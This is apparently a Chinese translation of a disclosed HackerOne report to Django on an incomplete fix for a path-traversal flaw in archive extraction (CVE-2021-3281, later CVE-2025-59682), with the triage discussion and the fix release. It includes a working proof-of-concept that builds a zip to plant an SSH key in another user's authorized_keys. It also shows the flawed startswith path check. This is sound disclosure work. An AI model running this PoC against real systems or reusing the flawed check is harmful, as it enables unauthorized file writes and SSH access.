Django归档解压路径遍历漏洞:CVE-2021-3281补丁不完整分析与修复

本文详细分析并披露了Django框架中一个关于归档文件解压的路径遍历漏洞(CVE-2021-3281)。原始补丁因`os.path.abspath`函数的行为导致防护逻辑失效,攻击者可利用“部分路径匹配”将文件解压到预期目录之外。报告包含漏洞原理、概念验证代码、官方响应及最终修复方案。

路径遍历 via archive.extract - CVE 2021-3281 不完整补丁

提交者: stackered 提交至: Django 时间: 2025年9月5日,下午1:21 (UTC)

大家好,

在对之前漏洞补丁进行代码审查时,我发现针对 CVE-2021-3281 的修复并不完整。作为提醒,为了缓解该漏洞,已在 ZipArchiveTarArchive 类的 extract 函数中添加了以下防护逻辑,以确保所有文件都在基础文件夹(target_path)下解压。

1
2
3
4
5
6
7
# django/django/utils/archive.py
def target_filename(self, to_path, name):
    target_path = os.path.abspath(to_path)
    filename = os.path.abspath(os.path.join(target_path, name))
    if not filename.startswith(target_path):
        raise SuspiciousOperation("Archive contains invalid path: '%s'" % name)
    return filename

abspath 函数用于获取绝对且规范化的唯一路径。然后,利用 startswith 函数来验证目标路径是否在预期的基础文件夹内。然而,abspath 函数会移除末尾的路径分隔符,这使得防护逻辑不足以防止部分路径遍历。

假设基础文件夹定义为 /var/lib/,初始文件名为 /var/library/test.txt。由于末尾的斜杠被移除,攻击者仍然可以部分路径遍历到另一个以相同字符开头的目录,因为这会通过检查。

1
"/var/library/test.txt".startswith("/var/lib") == true

例如,在 Python CLI 中执行以下代码行不会引发预期的异常。

1
2
3
4
5
import os
target_path = os.path.abspath("/var/lib/")
filename = os.path.abspath(os.path.join(target_path, "/var/library/test.txt"))
if not filename.startswith(target_path):
   raise Exception

这种部分路径遍历漏洞的一个真实例子可以在这里找到。

影响 这导致了一个部分路径遍历漏洞,允许攻击者在解压归档文件(tar 和 zip)时将文件写入到基础目录之外。


nessita (Django 工作人员) 发布了评论。 2025年9月11日,下午3:53 (UTC)

你好,

感谢你的报告。我们将进行调查并尽快给你回复。在此期间,请对这些信息保密。

如果你还没有,请查看 Django 安全团队如何评估报告:https://docs.djangoproject.com/en/dev/internals/security/

请注意,完成我们的分析可能需要几周时间。除非你发现了新的相关信息,否则无需催促安全团队。所有报告都旨在行业标准的 90 天内解决。

此致, Django 安全团队。


theorangeone (Django 工作人员) 将状态更改为 需要更多信息2025年9月16日,上午11:29 (UTC)

感谢你的报告!但是,我们自己无法复现这个问题。你能提供一个使用 Django 工具并展示漏洞利用的 PoC 吗?希望我们可以用它来复现并解决问题。


stackered 将状态更改为 新建2025年9月16日,下午1:28 (UTC)

嗨,

当然,这里是一个使用目标 Django 函数的功能性 PoC。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import zipfile
from django.utils.archive import *

zip_path = "malicious.zip"

def create_malicious_zip():
    with zipfile.ZipFile(zip_path, "w") as zf:
        zf.writestr("/home/johnny/.ssh/authorized_keys", "ssh key\n")
        zf.writestr("test.txt", "Test\n")
    print(f"Archive {zip_path} has been successfully created")

def extract_archive():
    archive = ZipArchive(zip_path)
    archive.extract("/home/john")

if __name__ == "__main__":
    create_malicious_zip()
    extract_archive()

/home 下创建两个目录(john 和 johnny),对运行 PoC 的同一用户可写。

这将在 /home/johnny/.ssh/authorized_keys 中添加(如果不存在则创建)攻击者的 ssh 密钥,即使目标解压目录设置为 /home/john


sarahvboyce (Django 工作人员) 将严重性从 中 (5.3) 更新为 低 (3.7)2025年9月18日,上午10:04 (UTC)

要使此攻击生效,攻击者必须知道用户将通过 startapp --template 等命令在哪个目录进行解压。


sarahvboyce (Django 工作人员) 将状态更改为 已分类2025年9月18日,上午10:09 (UTC)

感谢你的报告和进一步的信息。有第二个文件对于复现很重要。

我们已经确认了该漏洞,并已请求 CVE。

我附上了我们建议的缓解解决方案。你能测试一下这个补丁,以确保它可靠地修复了问题吗?

附件: 0001-Fixed-CVE-2025-XXXXX-Fixed-potential-partial-directo.patch (F4798484)

我们计划在一篇博客文章中提及漏洞的发现者。“stackered” 可以吗,或者你希望以其他方式署名?

包含此修复的 Django 版本目前计划于 10 月发布。在更新版本发布之前,请对此保密。

再次感谢!


stackered 发布了评论。 2025年9月18日,下午1:21 (UTC)

你好,

感谢你的回复。很高兴你们能够复现这个问题。

是的,有第二个文件对于让 has_leading_dir 函数返回 False 很重要。

我审查了补丁,它确实解决了问题。

Stackered 作为署名可以,谢谢。

然而,我只是想分享一下我关于严重性的观点。实际上,你是对的,攻击者必须知道解压文件将放在哪个目录。但是,通过拦截和分析请求来猜测通常并不困难。除此之外,应用程序可能是开源的,在这种情况下,目录将很容易识别。最后,在某些应用程序中,解压目录甚至可能由攻击者控制。正是由于这些原因,我将严重性评估为中等。


stackered 发布了评论。 2025年9月24日,下午12:57 (UTC)

嗨,在我先前的信息之后,你们考虑过修改漏洞的严重性吗?


sarahvboyce (Django 工作人员) 发布了评论。 2025年9月24日,下午1:48 (UTC)

感谢你对补丁的审查。此漏洞已被分配 CVE-2025-59682,发布日期定于 10 月 1 日。

请继续对此保密。

关于严重性,我们保持当前的评估。 archive.extract 是一个未记录的方法,因此根据我们的安全政策,通常不在范围内:https://docs.djangoproject.com/en/5.2/internals/security/#code-under-test-must-feasibly-exist-in-a-django-project

Django 包含许多私有的和未公开的函数,这些函数不属于其公共 API 的一部分。如果漏洞依赖于以不安全的方式直接调用这些内部函数,则不会被视为有效的安全问题。

但是,我们需要确保 Django 本身以安全的方式使用这些未记录的方法。这将范围缩小到为 python manage.py startproject/app --template 而使用 archive.extract。这些是由开发人员在设置项目时运行的。它们不用于已部署的应用程序,因此你提出的建议不适用。


stackered 发布了评论。 2025年9月24日,下午2:08 (UTC)

好的,感谢你提供的信息,下次我们会更仔细地评估漏洞是否可能存在于 Django 项目中。


jacobtylerwalls (Django 工作人员) 关闭了报告并将状态更改为 已解决2025年10月2日,上午12:49 (UTC)

此问题已于 10 月 1 日通过 Django 版本 5.2.7、5.1.13 和 4.2.25 修复。


The Internet Bug Bounty 已决定此报告不符合赏金条件。 2025年11月11日,下午7:22 (UTC)

我们无法在此处分配货币奖励。如果你想要一个,请按照 https://hackerone.com/ibb 上的说明将漏洞提交给 Internet Bug Bounty。


stackered 请求披露此报告。 10 天前

jacobtylerwalls (Django 工作人员) 同意披露此报告。 10 天前

此报告已被披露。 10 天前


报告详情

  • 报告于: 2025年9月5日,下午1:21 (UTC)
  • 报告者: stackered
  • 报告给: Django
  • 报告 ID: #3328367
  • 状态: 已解决
  • 严重性: 低 (3.7)
  • 披露时间: 2025年11月21日,下午7:05 (UTC)
  • 弱点: 路径遍历
  • CVE ID: CVE-2021-3281
  • 赏金: 隐藏
  • 账户详情:
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计